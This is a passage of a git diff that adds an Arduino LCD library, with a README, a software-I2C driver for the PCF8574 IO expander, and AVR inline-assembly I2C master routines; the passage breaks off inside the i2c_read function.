+ */ + void setBacklight ( uint8_t value ); + +private: + + /*! + @method + @abstract Initializes the LCD class + @discussion Initializes the LCD class and IO expansion module. + */ + int init(uint8_t data, uint8_t clk, uint8_t strobe, + uint8_t Rs, uint8_t Rw, uint8_t En, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7); + + /*! + @method + @abstract Writes an 4 bit value to the LCD. + @discussion Writes 4 bits (the least significant) to the LCD control data lines. + @param value[in] Value to write to the LCD + @param more[in] Value to distinguish between command and data. + COMMAND == command, DATA == data. + */ + void write4bits(uint8_t value, uint8_t mode); + + /*! + @function + @abstract load into the shift register a byte + @discussion loads into the shift register a byte + @param value[in]: value to be loaded into the shiftregister. + */ + void loadSR(uint8_t value); + + + fio_bit _strobe; // shift register strobe pin + fio_register _strobe_reg; // SR strobe pin MCU register + fio_bit _data; // shift register data pin + fio_register _data_reg; // SR data pin MCU register + fio_bit _clk; // shift register clock pin + fio_register _clk_reg; // SR clock pin MCU register + uint8_t _En; // LCD expander word for enable pin + uint8_t _Rw; // LCD expander word for R/W pin + uint8_t _Rs; // LCD expander word for Register Select pin + uint8_t _data_pins[4]; // LCD data lines + uint8_t _backlightPinMask; // Backlight IO pin mask + uint8_t _backlightStsMask; // Backlight status mask + +}; + +#endif + diff --git a/libraries/NewliquidCrystal/README.md b/libraries/NewliquidCrystal/README.md new file mode 100644 index 0000000..9056baa --- /dev/null +++ b/libraries/NewliquidCrystal/README.md @@ -0,0 +1,47 @@ +# README # + +## Introduction ## + +![LCD library](https://bitbucket.org/fmalpartida/new-liquidcrystal/downloads/I2CLCDextraIO_assemblyProject_small.jpg) + +Welcome to the *LCD Library* for **Arduino** and **Chipkit**. It is a derivate of the original LiquidCrystal Library as sourced in the Arduino SDK. It has been developed to be compatible with the current LiquidCrystal library, +its performance is almost 5 times faster and fully extendable if need be. + +It supports most ``Hitachi HD44780`` based LCDs, or compatible, connected to any project using: 4, 8 +wire parallel interface, I2C IO port expander (native I2C and bit bang) and Shift Regiter. + +It currently supports 4 types of connections: + +* 4 bit parallel LCD interface +* 8 bit parallel LCD interface +* I2C IO bus expansion board with the PCF8574* I2C IO expander ASIC such as [I2C LCD extra IO](http://www.electrofunltd.com/2011/10/i2c-lcd-extra-io.html "I2C LCD extra IO"). +* ShiftRegister adaptor board as described [Shift Register project home](http://code.google.com/p/arduinoshiftreglcd/ "Shift Register project home") or in the HW configuration described below, 2 and 3 wire configurations supported. +* ShiftRegister 3 wire latch adaptor board as described [ShiftRegister 3 Wire Home](http://www.arduino.cc/playground/Code/LCD3wires "ShiftRegister 3 Wire Home") +* Support for 1 wire shift register [ShiftRegister 1 Wire](http://www.romanblack.com/shift1.htm "ShiftRegister 1 Wire") +* I2C bus expansion using general purpose IO lines. + +### How do I get set up? ### + +* Please refer to the project's [wiki](https://bitbucket.org/fmalpartida/new-liquidcrystal/wiki/Home "wiki") + + +### Contributors +The library has had the invaluable contribution of: + +* [piccaso](http://www.3guys1laser.com/blog-cheap-arduino-2-wire-lcd-display-0 "picas") - Florian Fida - Flo, thanks for testing and improving the SR library, initial version of the 1 wire interface and speed improvements. +* B. Perry - *bperrybap@opensource.billsworld.billandterrie.com*, with his thoughtful contribution, speed improvements and development support for the SR2W library. +* Adrian Piccioli, with his contribution to the i2c GPIO support. +* [todbot](https://github.com/todbot "todbot") Tod E. Kurt for the [softwarei2cmaster](https://github.com/todbot/SoftI2CMaster "softwarei2cmaster") library. + +#### Contribution guidelines + +* Writing tests +* Code review +* Help out with bug fixing +* Setup a project logo +* Write new drivers to support more LCDs. + +### Who do I talk to? ### + +* Repo owner or admin +* For SoftI2CMaster latest versions, updates and support, please refer to [SoftI2CMaster](https://github.com/todbot/SoftI2CMaster "todbot") \ No newline at end of file diff --git a/libraries/NewliquidCrystal/SI2CIO.cpp b/libraries/NewliquidCrystal/SI2CIO.cpp new file mode 100644 index 0000000..e3caa76 --- /dev/null +++ b/libraries/NewliquidCrystal/SI2CIO.cpp @@ -0,0 +1,206 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file SI2CIO.h +// This file implements a basic IO library using the PCF8574 I2C IO Expander +// chip, but using software I2C. +// +// @brief +// Implement a basic IO library to drive the PCF8574* I2C IO Expander ASIC. +// The library implements basic IO general methods to configure IO pin direction +// read and write uint8_t operations and basic pin level routines to set or read +// a particular IO port. +// +// +// @version API 1.0.0 +// +// @author F. Malpartida - fmalpartida@gmail.com +// Adapted to SoftIC2 by Adrian Piccioli - adrianpiccioli@gmail.com +// --------------------------------------------------------------------------- +#if (ARDUINO < 100) +#include +#else +#include +#endif + +#include + +/*#define SCL_PIN 6 +#define SCL_PORT PORTD +#define SDA_PIN 7 +#define SDA_PORT PORTD*/ + +//#define I2C_FASTMODE 1 +//#define I2C_SLOWMODE 1 + +#define SCL_PIN 0 +#define SCL_PORT PORTB +#define SDA_PIN 1 +#define SDA_PORT PORTB + +#include "SI2CIO.h" +#include "SoftI2CMaster.h" + + +// CLASS VARIABLES +// --------------------------------------------------------------------------- + + +// CONSTRUCTOR +// --------------------------------------------------------------------------- +SI2CIO::SI2CIO ( ) +{ + _i2cAddr = 0x0; + _dirMask = 0xFF; // mark all as INPUTs + _shadow = 0x0; // no values set + _initialised = false; +} + +// PUBLIC METHODS +// --------------------------------------------------------------------------- + +// +// begin +int SI2CIO::begin ( uint8_t i2cAddr ) +{ + _i2cAddr = i2cAddr; + + i2c_init(); + + _initialised = i2c_start(_i2cAddr | I2C_READ); + + _shadow = i2c_read(true); + + i2c_stop(); + + return ( _initialised ); +} + +// +// pinMode +void SI2CIO::pinMode ( uint8_t pin, uint8_t dir ) +{ + if ( _initialised ) + { + if ( OUTPUT == dir ) + { + _dirMask &= ~( 1 << pin ); + } + else + { + _dirMask |= ( 1 << pin ); + } + } +} + +// +// portMode +void SI2CIO::portMode ( uint8_t dir ) +{ + + if ( _initialised ) + { + if ( dir == INPUT ) + { + _dirMask = 0xFF; + } + else + { + _dirMask = 0x00; + } + } +} + +// +// read +uint8_t SI2CIO::read ( void ) +{ + uint8_t retVal = 0; + + if ( _initialised ) + { + i2c_start(_i2cAddr | I2C_READ); + + retVal = (_dirMask & i2c_read(true)); + + i2c_stop(); + } + return ( retVal ); +} + +// +// write +int SI2CIO::write ( uint8_t value ) +{ + int status = 0; + + if ( _initialised ) + { + // Only write HIGH the values of the ports that have been initialised as + // outputs updating the output shadow of the device + _shadow = ( value & ~(_dirMask) ); + + status = i2c_start(_i2cAddr | I2C_WRITE); + + status &= i2c_write(_shadow); + + i2c_stop(); + } + return ( (status == 0) ); +} + +// +// digitalRead +uint8_t SI2CIO::digitalRead ( uint8_t pin ) +{ + uint8_t pinVal = 0; + + // Check if initialised and that the pin is within range of the device + // ------------------------------------------------------------------- + if ( ( _initialised ) && ( pin <= 7 ) ) + { + // Remove the values which are not inputs and get the value of the pin + pinVal = this->read() & _dirMask; + pinVal = ( pinVal >> pin ) & 0x01; // Get the pin value + } + return (pinVal); +} + +// +// digitalWrite +int SI2CIO::digitalWrite ( uint8_t pin, uint8_t level ) +{ + uint8_t writeVal; + int status = 0; + + // Check if initialised and that the pin is within range of the device + // ------------------------------------------------------------------- + if ( ( _initialised ) && ( pin <= 7 ) ) + { + // Only write to HIGH the port if the port has been configured as + // an OUTPUT pin. Add the new state of the pin to the shadow + writeVal = ( 1 << pin ) & ~_dirMask; + if ( level == HIGH ) + { + _shadow |= writeVal; + } + else + { + _shadow &= ~writeVal; + } + status = this->write ( _shadow ); + } + return ( status ); +} + +// +// PRIVATE METHODS +// --------------------------------------------------------------------------- diff --git a/libraries/NewliquidCrystal/SI2CIO.h b/libraries/NewliquidCrystal/SI2CIO.h new file mode 100644 index 0000000..ab5095b --- /dev/null +++ b/libraries/NewliquidCrystal/SI2CIO.h @@ -0,0 +1,149 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file SI2CIO.h +// This file implements a basic IO library using the PCF8574 I2C IO Expander +// chip, but using software I2C. +// +// @brief +// Implement a basic IO library to drive the PCF8574* I2C IO Expander ASIC. +// The library implements basic IO general methods to configure IO pin direction +// read and write uint8_t operations and basic pin level routines to set or read +// a particular IO port. +// +// @version API 1.0.0 +// +// @author F. Malpartida - fmalpartida@gmail.com +// Adapted to SoftIC2 by Adrian Piccioli - adrianpiccioli@gmail.com +// --------------------------------------------------------------------------- + +#ifndef _SI2CIO_H_ +#define _SI2CIO_H_ + +#include + +#define _SI2CIO_VERSION "1.0.0" + +/*! + @class + @abstract SI2CIO + @discussion Library driver to control PCF8574 based ASICs. Implementing + library calls to set/get port through I2C bus. + */ + +class SI2CIO +{ +public: + /*! + @method + @abstract Constructor method + @discussion Class constructor constructor. + */ + SI2CIO ( ); + + /*! + @method + @abstract Initializes the device. + @discussion This method initializes the device allocating an I2C address. + This method is the first method that should be call prior to calling any + other method form this class. On initialization all pins are configured + as INPUT on the device. + + @param i2cAddr: I2C Address where the device is located. + @result 1 if the device was initialized correctly, 0 otherwise + */ + int begin ( uint8_t i2cAddr ); + + /*! + @method + @abstract Sets the mode of a particular pin. + @discussion Sets the mode of a particular pin to INPUT, OUTPUT. digitalWrite + has no effect on pins which are not declared as output. + + @param pin[in] Pin from the I2C IO expander to be configured. Range 0..7 + @param dir[in] Pin direction (INPUT, OUTPUT). + */ + void pinMode ( uint8_t pin, uint8_t dir ); + + /*! + @method + @abstract Sets all the pins of the device in a particular direction. + @discussion This method sets all the pins of the device in a particular + direction. This method is useful to set all the pins of the device to be + either inputs or outputs. + @param dir[in] Direction of all the pins of the device (INPUT, OUTPUT). + */ + void portMode ( uint8_t dir ); + + /*! + @method + @abstract Reads all the pins of the device that are configured as INPUT. + @discussion Reads from the device the status of the pins that are configured + as INPUT. During initialization all pins are configured as INPUTs by default. + Please refer to pinMode or portMode. + + @param none + */ + uint8_t read ( void ); + + /*! + @method + @abstract Read a pin from the device. + @discussion Reads a particular pin from the device. To read a particular + pin it has to be configured as INPUT. During initialization all pins are + configured as INPUTs by default. Please refer to pinMode or portMode. + + @param pin[in] Pin from the port to read its status. Range (0..7) + @result Returns the pin status (HIGH, LOW) if the pin is configured + as an output, reading its value will always return LOW regardless of its + real state. + */ + uint8_t digitalRead ( uint8_t pin ); + + /*! + @method + @abstract Write a value to the device. + @discussion Writes to a set of pins in the device. The value is the binary + representation of all the pins in device. The value written is masked with + the configuration of the direction of the pins; to change the state of + a particular pin with this method, such pin has to be configured as OUTPUT + using the portMode or pinMode methods. If no pins have been configured as + OUTPUTs this method will have no effect. + + @param value[in] value to be written to the device. + @result 1 on success, 0 otherwise + */ + int write ( uint8_t value ); + + /*! + @method + @abstract Writes a digital level to a particular pin. + @discussion Write a level to the indicated pin of the device. For this + method to have effect, the pin has to be configured as OUTPUT using the + pinMode or portMode methods. + + @param pin[in] device pin to change level. Range (0..7). + @para level[in] logic level to set the pin at (HIGH, LOW). + @result 1 on success, 0 otherwise. + */ + int digitalWrite ( uint8_t pin, uint8_t level ); + + + +private: + uint8_t _shadow; // Shadow output + uint8_t _dirMask; // Direction mask + uint8_t _i2cAddr; // I2C address + bool _initialised; // Initialised object + +}; + +#endif \ No newline at end of file diff --git a/libraries/NewliquidCrystal/SoftI2CMaster.h b/libraries/NewliquidCrystal/SoftI2CMaster.h new file mode 100644 index 0000000..3ca7caf --- /dev/null +++ b/libraries/NewliquidCrystal/SoftI2CMaster.h @@ -0,0 +1,509 @@ +/* Arduino SoftI2C library. + * + * This is a very fast and very light-weight software I2C-master library + * written in assembler. It is based on Peter Fleury's I2C software + * library: http://homepage.hispeed.ch/peterfleury/avr-software.html + * + * + * This Library is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This Library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with the Arduino I2cMaster Library. If not, see + * . + */ + +/* In order to use the library, you need to define SDA_PIN, SCL_PIN, + * SDA_PORT and SCL_PORT before including this file. Have a look at + * http://www.arduino.cc/en/Reference/PortManipulation for finding out + * which values to use. For example, if you use digital pin 3 for + * SDA and digital pin 13 for SCL you have to use the following + * definitions: + * #define SDA_PIN 3 + * #define SDA_PORT PORTB + * #define SCL_PIN 5 + * #define SCL_PORT PORTB + * + * You can also define the following constants (see also below): + * - I2C_CPUFREQ, when changing CPU clock frequency dynamically + * - I2C_FASTMODE = 1 meaning that the I2C bus allows speeds up to 400 kHz + * - I2C_SLOWMODE = 1 meaning that the I2C bus will allow only up to 25 kHz + * - I2C_NOINTERRUPT = 1 in order to prohibit interrupts while + * communicating (see below). This can be useful if you use the library + * for communicationg with SMbus devices, which have timeouts. + * Note, however, that interrupts are disabledfrom issuing a start condition + * until issuing a stop condition. So use this option with care! + * - I2C_TIMEOUT = 0..10000 mssec in order to return from the I2C functions + * in case of a I2C bus lockup (i.e., SCL constantly low). 0 means no timeout + */ + +/* Changelog: + * Version 1.1: + * - removed I2C_CLOCK_STRETCHING + * - added I2C_TIMEOUT time in msec (0..10000) until timeout or 0 if no timeout + * - changed i2c_init to return true iff both SDA and SCL are high + * - changed interrupt disabling so that the previous IRQ state is retored + * Version 1.0: basic functionality + */ +#include +#include + +#ifndef _SOFTI2C_H +#define _SOFTI2C_H 1 + +// Init function. Needs to be called once in the beginning. +// Returns false if SDA or SCL are low, which probably means +// a I2C bus lockup or that the lines are not pulled up. +boolean __attribute__ ((noinline)) i2c_init(void); + +// Start transfer function: is the 8-bit I2C address (including the R/W +// bit). +// Return: true if the slave replies with an "acknowledge", false otherwise +bool __attribute__ ((noinline)) i2c_start(uint8_t addr); + +// Similar to start function, but wait for an ACK! Be careful, this can +// result in an infinite loop! +void __attribute__ ((noinline)) i2c_start_wait(uint8_t addr); + +// Repeated start function: After having claimed the bus with a start condition, +// you can address another or the same chip again without an intervening +// stop condition. +// Return: true if the slave replies with an "acknowledge", false otherwise +bool __attribute__ ((noinline)) i2c_rep_start(uint8_t addr); + +// Issue a stop condition, freeing the bus. +void __attribute__ ((noinline)) i2c_stop(void) asm("ass_i2c_stop"); + +// Write one byte to the slave chip that had been addressed +// by the previous start call. is the byte to be sent. +// Return: true if the slave replies with an "acknowledge", false otherwise +bool __attribute__ ((noinline)) i2c_write(uint8_t value) asm("ass_i2c_write"); + +// Read one byte. If is true, we send a NAK after having received +// the byte in order to terminate the read sequence. +uint8_t __attribute__ ((noinline)) i2c_read(bool last); + +// You can set I2C_CPUFREQ independently of F_CPU if you +// change the CPU frequency on the fly. If do not define it, +// it will use the value of F_CPU +#ifndef I2C_CPUFREQ +#define I2C_CPUFREQ F_CPU +#endif + +// If I2C_FASTMODE is set to 1, then the highest possible frequency below 400kHz +// is selected. Be aware that not all slave chips may be able to deal with that! +#ifndef I2C_FASTMODE +#define I2C_FASTMODE 0 +#endif + +// If I2C_FASTMODE is not defined or defined to be 0, then you can set +// I2C_SLOWMODE to 1. In this case, the I2C frequency will not be higher +// than 25KHz. This could be useful for problematic buses. +#ifndef I2C_SLOWMODE +#define I2C_SLOWMODE 0 +#endif + +// if I2C_NOINTERRUPT is 1, then the I2C routines are not interruptable. +// This is most probably only necessary if you are using a 1MHz system clock, +// you are communicating with a SMBus device, and you want to avoid timeouts. +// Be aware that the interrupt bit is enabled after each call. So the +// I2C functions should not be called in interrupt routines or critical regions. +#ifndef I2C_NOINTERRUPT +#define I2C_NOINTERRUPT 0 +#endif + +// I2C_TIMEOUT can be set to a value between 1 and 10000. +// If it is defined and nonzero, it leads to a timeout if the +// SCL is low longer than I2C_TIMEOUT milliseconds, i.e., max timeout is 10 sec +#ifndef I2C_TIMEOUT +#define I2C_TIMEOUT 0 +#else +#if I2C_TIMEOUT > 10000 +#error I2C_TIMEOUT is too large +#endif +#endif + +#define I2C_TIMEOUT_DELAY_LOOPS (I2C_CPUFREQ/1000UL)*I2C_TIMEOUT/4000UL +#if I2C_TIMEOUT_DELAY_LOOPS < 1 +#define I2C_MAX_STRETCH 1 +#else +#if I2C_TIMEOUT_DELAY_LOOPS > 60000UL +#define I2C_MAX_STRETCH 60000UL +#else +#define I2C_MAX_STRETCH I2C_TIMEOUT_DELAY_LOOPS +#endif +#endif + +#if I2C_FASTMODE +#define I2C_DELAY_COUNTER (((I2C_CPUFREQ/400000L)/2-19)/3) +#else +#if I2C_SLOWMODE +#define I2C_DELAY_COUNTER (((I2C_CPUFREQ/25000L)/2-19)/3) +#else +#define I2C_DELAY_COUNTER (((I2C_CPUFREQ/100000L)/2-19)/3) +#endif +#endif + +// Table of I2C bus speed in kbit/sec: +// CPU clock: 1MHz 2MHz 4MHz 8MHz 16MHz 20MHz +// Fast I2C mode 40 80 150 300 400 400 +// Standard I2C mode 40 80 100 100 100 100 +// Slow I2C mode 25 25 25 25 25 25 + +// constants for reading & writing +#define I2C_READ 1 +#define I2C_WRITE 0 + +// map the IO register back into the IO address space +#define SDA_DDR (_SFR_IO_ADDR(SDA_PORT) - 1) +#define SCL_DDR (_SFR_IO_ADDR(SCL_PORT) - 1) +#define SDA_OUT _SFR_IO_ADDR(SDA_PORT) +#define SCL_OUT _SFR_IO_ADDR(SCL_PORT) +#define SDA_IN (_SFR_IO_ADDR(SDA_PORT) - 2) +#define SCL_IN (_SFR_IO_ADDR(SCL_PORT) - 2) + +#ifndef __tmp_reg__ +#define __tmp_reg__ 0 +#endif + + +// Internal delay functions. +void __attribute__ ((noinline)) i2c_delay_half(void) asm("ass_i2c_delay_half"); +void __attribute__ ((noinline)) i2c_wait_scl_high(void) asm("ass_i2c_wait_scl_high"); + +void i2c_delay_half(void) +{ // function call 3 cycles => 3C +#if I2C_DELAY_COUNTER < 1 + __asm__ __volatile__ (" ret"); + // 7 cycles for call and return +#else + __asm__ __volatile__ + ( + " ldi r25, %[DELAY] ;load delay constant ;; 4C \n\t" + "_Lidelay: \n\t" + " dec r25 ;decrement counter ;; 4C+xC \n\t" + " brne _Lidelay ;;5C+(x-1)2C+xC\n\t" + " ret ;; 9C+(x-1)2C+xC = 7C+xC" + : : [DELAY] "M" I2C_DELAY_COUNTER : "r25"); + // 7 cycles + 3 times x cycles +#endif +} + +void i2c_wait_scl_high(void) +{ +#if I2C_TIMEOUT <= 0 + __asm__ __volatile__ + ("_Li2c_wait_stretch: \n\t" + " sbis %[SCLIN],%[SCLPIN] ;wait for SCL high \n\t" + " rjmp _Li2c_wait_stretch \n\t" + " cln ;signal: no timeout \n\t" + " ret " + : : [SCLIN] "I" (SCL_IN), [SCLPIN] "I" (SCL_PIN)); +#else + __asm__ __volatile__ + ( " ldi r27, %[HISTRETCH] ;load delay counter \n\t" + " ldi r26, %[LOSTRETCH] \n\t" + "_Lwait_stretch: \n\t" + " clr __tmp_reg__ ;do next loop 255 times \n\t" + "_Lwait_stretch_inner_loop: \n\t" + " rcall _Lcheck_scl_level ;call check function ;; 12C \n\t" + " brpl _Lstretch_done ;done if N=0 ;; +1 = 13C\n\t" + " dec __tmp_reg__ ;dec inner loop counter;; +1 = 14C\n\t" + " brne _Lwait_stretch_inner_loop ;; +2 = 16C\n\t" + " sbiw r26,1 ;dec outer loop counter \n\t" + " brne _Lwait_stretch ;continue with outer loop \n\t" + " sen ;timeout -> set N-bit=1 \n\t" + " rjmp _Lwait_return ;and return with N=1\n\t" + "_Lstretch_done: ;SCL=1 sensed \n\t" + " cln ;OK -> clear N-bit \n\t" + " rjmp _Lwait_return ; and return with N=0 \n\t" + + "_Lcheck_scl_level: ;; call = 3C\n\t" + " cln ;; +1C = 4C \n\t" + " sbic %[SCLIN],%[SCLPIN] ;skip if SCL still low ;; +2C = 6C \n\t" + " rjmp _Lscl_high ;; +0C = 6C \n\t" + " sen ;; +1 = 7C\n\t " + "_Lscl_high: " + " nop ;; +1C = 8C \n\t" + " ret ;return N-Bit=1 if low ;; +4 = 12C\n\t" + + "_Lwait_return:" + : : [SCLIN] "I" (SCL_IN), [SCLPIN] "I" (SCL_PIN), + [HISTRETCH] "M" (I2C_MAX_STRETCH>>8), + [LOSTRETCH] "M" (I2C_MAX_STRETCH&0xFF) + : "r26", "r27"); +#endif +} + + +boolean i2c_init(void) +{ + __asm__ __volatile__ + (" cbi %[SDADDR],%[SDAPIN] ;release SDA \n\t" + " cbi %[SCLDDR],%[SCLPIN] ;release SCL \n\t" + " cbi %[SDAOUT],%[SDAPIN] ;clear SDA output value \n\t" + " cbi %[SCLOUT],%[SCLPIN] ;clear SCL output value \n\t" + " clr r24 ;set return value to false \n\t" + " clr r25 ;set return value to false \n\t" + " sbis %[SDAIN],%[SDAPIN] ;check for SDA high\n\t" + " ret ;if low return with false \n\t" + " sbis %[SCLIN],%[SCLPIN] ;check for SCL high \n\t" + " ret ;if low return with false \n\t" + " ldi r24,1 ;set return value to true \n\t" + " ret " + : : + [SCLDDR] "I" (SCL_DDR), [SCLPIN] "I" (SCL_PIN), + [SCLIN] "I" (SCL_IN), [SCLOUT] "I" (SCL_OUT), + [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN), + [SDAIN] "I" (SDA_IN), [SDAOUT] "I" (SDA_OUT)); + return true; +} + +bool i2c_start(uint8_t addr) +{ + __asm__ __volatile__ + ( +#if I2C_NOINTERRUPT + " cli ;clear IRQ bit \n\t" +#endif + " sbis %[SCLIN],%[SCLPIN] ;check for clock stretching slave\n\t" + " rcall ass_i2c_wait_scl_high ;wait until SCL=H\n\t" + " sbi %[SDADDR],%[SDAPIN] ;force SDA low \n\t" + " rcall ass_i2c_delay_half ;wait T/2 \n\t" + " rcall ass_i2c_write ;now write address \n\t" + " ret" + : : [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN), + [SCLIN] "I" (SCL_IN),[SCLPIN] "I" (SCL_PIN)); + return true; // we never return here! +} + +bool i2c_rep_start(uint8_t addr) +{ + __asm__ __volatile__ + + ( +#if I2C_NOINTERRUPT + " cli \n\t" +#endif + " sbi %[SCLDDR],%[SCLPIN] ;force SCL low \n\t" + " rcall ass_i2c_delay_half ;delay T/2 \n\t" + " cbi %[SDADDR],%[SDAPIN] ;release SDA \n\t" + " rcall ass_i2c_delay_half ;delay T/2 \n\t" + " cbi %[SCLDDR],%[SCLPIN] ;release SCL \n\t" + " rcall ass_i2c_delay_half ;delay T/2 \n\t" + " sbis %[SCLIN],%[SCLPIN] ;check for clock stretching slave\n\t" + " rcall ass_i2c_wait_scl_high ;wait until SCL=H\n\t" + " sbi %[SDADDR],%[SDAPIN] ;force SDA low \n\t" + " rcall ass_i2c_delay_half ;delay T/2 \n\t" + " rcall ass_i2c_write \n\t" + " ret" + : : [SCLDDR] "I" (SCL_DDR), [SCLPIN] "I" (SCL_PIN),[SCLIN] "I" (SCL_IN), + [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN)); + return true; // just to fool the compiler +} + +void i2c_start_wait(uint8_t addr) +{ + __asm__ __volatile__ + ( + " push r24 ;save original parameter \n\t" + "_Li2c_start_wait1: \n\t" + " pop r24 ;restore original parameter\n\t" + " push r24 ;and save again \n\t" +#if I2C_NOINTERRUPT + " cli ;disable interrupts \n\t" +#endif + " sbis %[SCLIN],%[SCLPIN] ;check for clock stretching slave\n\t" + " rcall ass_i2c_wait_scl_high ;wait until SCL=H\n\t" + " sbi %[SDADDR],%[SDAPIN] ;force SDA low \n\t" + " rcall ass_i2c_delay_half ;delay T/2 \n\t" + " rcall ass_i2c_write ;write address \n\t" + " tst r24 ;if device not busy -> done \n\t" + " brne _Li2c_start_wait_done \n\t" + " rcall ass_i2c_stop ;terminate write & enable IRQ \n\t" + " rjmp _Li2c_start_wait1 ;device busy, poll ack again \n\t" + "_Li2c_start_wait_done: \n\t" + " pop __tmp_reg__ ;pop off orig argument \n\t" + " ret " + : : [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN), + [SCLIN] "I" (SCL_IN),[SCLPIN] "I" (SCL_PIN)); +} + +void i2c_stop(void) +{ + __asm__ __volatile__ + ( + " sbi %[SCLDDR],%[SCLPIN] ;force SCL low \n\t" + " sbi %[SDADDR],%[SDAPIN] ;force SDA low \n\t" + " rcall ass_i2c_delay_half ;T/2 delay \n\t" + " cbi %[SCLDDR],%[SCLPIN] ;release SCL \n\t" + " rcall ass_i2c_delay_half ;T/2 delay \n\t" + " sbis %[SCLIN],%[SCLPIN] ;check for clock stretching slave\n\t" + " rcall ass_i2c_wait_scl_high ;wait until SCL=H\n\t" + " cbi %[SDADDR],%[SDAPIN] ;release SDA \n\t" + " rcall ass_i2c_delay_half \n\t" +#if I2C_NOINTERRUPT + " sei ;enable interrupts again!\n\t" +#endif + : : [SCLDDR] "I" (SCL_DDR), [SCLPIN] "I" (SCL_PIN), [SCLIN] "I" (SCL_IN), + [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN)); +} + +bool i2c_write(uint8_t value) +{ + __asm__ __volatile__ + ( + " sec ;set carry flag \n\t" + " rol r24 ;shift in carry and shift out MSB \n\t" + " rjmp _Li2c_write_first \n\t" + "_Li2c_write_bit:\n\t" + " lsl r24 ;left shift into carry ;; 1C\n\t" + "_Li2c_write_first:\n\t" + " breq _Li2c_get_ack ;jump if TXreg is empty;; +1 = 2C \n\t" + " sbi %[SCLDDR],%[SCLPIN] ;force SCL low ;; +2 = 4C \n\t" + " nop \n\t" + " nop \n\t" + " nop \n\t" + " brcc _Li2c_write_low ;;+1/+2=5/6C\n\t" + " nop ;; +1 = 7C \n\t" + " cbi %[SDADDR],%[SDAPIN] ;release SDA ;; +2 = 9C \n\t" + " rjmp _Li2c_write_high ;; +2 = 11C \n\t" + "_Li2c_write_low: \n\t" + " sbi %[SDADDR],%[SDAPIN] ;force SDA low ;; +2 = 9C \n\t" + " rjmp _Li2c_write_high ;;+2 = 11C \n\t" + "_Li2c_write_high: \n\t" +#if I2C_DELAY_COUNTER >= 1 + " rcall ass_i2c_delay_half ;delay T/2 ;;+X = 11C+X\n\t" +#endif + " cbi %[SCLDDR],%[SCLPIN] ;release SCL ;;+2 = 13C+X\n\t" + " cln ;clear N-bit ;;+1 = 14C+X\n\t" + " nop \n\t" + " nop \n\t" + " nop \n\t" + " sbis %[SCLIN],%[SCLPIN] ;check for SCL high ;;+2 = 16C+X\n\t" + " rcall ass_i2c_wait_scl_high \n\t" + " brpl _Ldelay_scl_high ;;+2 = 18C+X\n\t" + "_Li2c_write_return_false: \n\t" + " clr r24 ; return false because of timeout \n\t" + " rjmp _Li2c_write_return \n\t" + "_Ldelay_scl_high: \n\t" +#if I2C_DELAY_COUNTER >= 1 + " rcall ass_i2c_delay_half ;delay T/2 ;;+X= 18C+2X\n\t" +#endif + " rjmp _Li2c_write_bit \n\t" + " ;; +2 = 20C +2X for one bit-loop \n\t" + "_Li2c_get_ack: \n\t" + " sbi %[SCLDDR],%[SCLPIN] ;force SCL low ;; +2 = 5C \n\t" + " nop \n\t" + " nop \n\t" + " cbi %[SDADDR],%[SDAPIN] ;release SDA ;;+2 = 7C \n\t" +#if I2C_DELAY_COUNTER >= 1 + " rcall ass_i2c_delay_half ;delay T/2 ;; +X = 7C+X \n\t" +#endif + " clr r25 ;; 17C+2X \n\t" + " clr r24 ;return 0 ;; 14C + X \n\t" + " cbi %[SCLDDR],%[SCLPIN] ;release SCL ;; +2 = 9C+X\n\t" + "_Li2c_ack_wait: \n\t" + " cln ; clear N-bit ;; 10C + X\n\t" + " nop \n\t" + " sbis %[SCLIN],%[SCLPIN] ;wait SCL high ;; 12C + X \n\t" + " rcall ass_i2c_wait_scl_high \n\t" + " brmi _Li2c_write_return_false ;; 13C + X \n\t " + " sbis %[SDAIN],%[SDAPIN] ;if SDA hi -> return 0 ;; 15C + X \n\t" + " ldi r24,1 ;return true ;; 16C + X \n\t" +#if I2C_DELAY_COUNTER >= 1 + " rcall ass_i2c_delay_half ;delay T/2 ;; 16C + 2X \n\t" +#endif + "_Li2c_write_return: \n\t" + " nop \n\t " + " nop \n\t " + " sbi %[SCLDDR],%[SCLPIN] ;force SCL low so SCL=H is short\n\t" + " ret \n\t" + " ;; + 4 = 17C + 2X for acknowldge bit" + :: + [SCLDDR] "I" (SCL_DDR), [SCLPIN] "I" (SCL_PIN), [SCLIN] "I" (SCL_IN), + [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN), [SDAIN] "I" (SDA_IN)); + return true; // fooling the compiler +} + +uint8_t i2c_read(bool last) +{ + __asm__ __volatile__ + ( + " ldi r23,0x01 \n\t" + "_Li2c_read_bit: \n\t" + " sbi %[SCLDDR],%[SCLPIN] ;force SCL low ;; 2C \n\t" + " cbi %[SDADDR],%[SDAPIN] ;release SDA(prev. ACK);; 4C \n\t" + " nop \n\t" + " nop \n\t" + " nop \n\t" +#if I2C_DELAY_COUNTER >= 1 + " rcall ass_i2c_delay_half ;delay T/2 ;; 4C+X \n\t" +#endif + " cbi %[SCLDDR],%[SCLPIN] ;release SCL ;; 6C + X \n\t" +#if I2C_DELAY_COUNTER >= 1 + " rcall ass_i2c_delay_half ;delay T/2 ;; 6C + 2X \n\t" +#endif + " cln ; clear N-bit 